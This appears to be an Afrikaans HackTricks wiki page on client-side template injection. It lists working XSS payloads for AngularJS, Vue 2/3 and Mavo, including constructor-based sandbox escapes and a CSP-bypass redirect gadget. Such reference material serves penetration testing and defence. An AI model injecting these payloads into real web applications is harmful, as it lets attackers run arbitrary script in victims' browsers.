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79 lines
4.5 KiB
Markdown
79 lines
4.5 KiB
Markdown
# Client Side Template Injection (CSTI)
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{{#include ../banners/hacktricks-training.md}}
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## Samevatting
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Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) maar in die **klant**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.
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**Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die interpreter verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n payload soos `{{ 7-7 }}`, as die app **kwesbaar** is, sal jy 'n `0` sien, en as nie, sal jy die oorspronklike sien: `{{ 7-7 }}`
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## AngularJS
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AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is **`ng-app`**. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.
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In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word wat met `ng-app` gemerk is, is dit moontlik om arbitraire JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:
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```javascript
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{{$on.constructor('alert(1)')()}}
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{{constructor.constructor('alert(1)')()}}
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<input ng-focus=$event.view.alert('XSS')>
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<!-- Google Research - AngularJS -->
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<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
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```
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U kan 'n baie **basiese aanlynvoorbeeld** van die kwesbaarheid in **AngularJS** vind in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) en in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
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> [!CAUTION] > [**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe moet 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `<input ng-focus=$event.view.alert('XSS')>` werk.
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## VueJS
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U kan 'n **kwesbare Vue** implementering vind in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
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Werkende payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
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En die **bronkode** van die kwesbare voorbeeld hier: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
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```html
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<!-- Google Research - Vue.js-->
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"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
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```
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'n Regtig goeie pos oor CSTI in VUE kan gevind word in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
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### **V3**
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```
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{{_openBlock.constructor('alert(1)')()}}
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```
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Krediet: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
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### **V2**
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```
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{{constructor.constructor('alert(1)')()}}
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```
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Krediet: [Mario Heiderich](https://twitter.com/cure53berlin)
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**Kyk meer VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
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## Mavo
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Payload:
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```
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[7*7]
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[(1,alert)(1)]
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<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
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[self.alert(1)]
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javascript:alert(1)%252f%252f..%252fcss-images
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[Omglol mod 1 mod self.alert (1) andlol]
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[''=''or self.alert(lol)]
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<a data-mv-if='1 or self.alert(1)'>test</a>
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<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
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<a href=[javascript&':alert(1)']>test</a>
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[self.alert(1)mod1]
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```
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**Meer payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
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## **Brute-Force Opsporing Lys**
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{{#ref}}
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https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
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{{#endref}}
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{{#include ../banners/hacktricks-training.md}}
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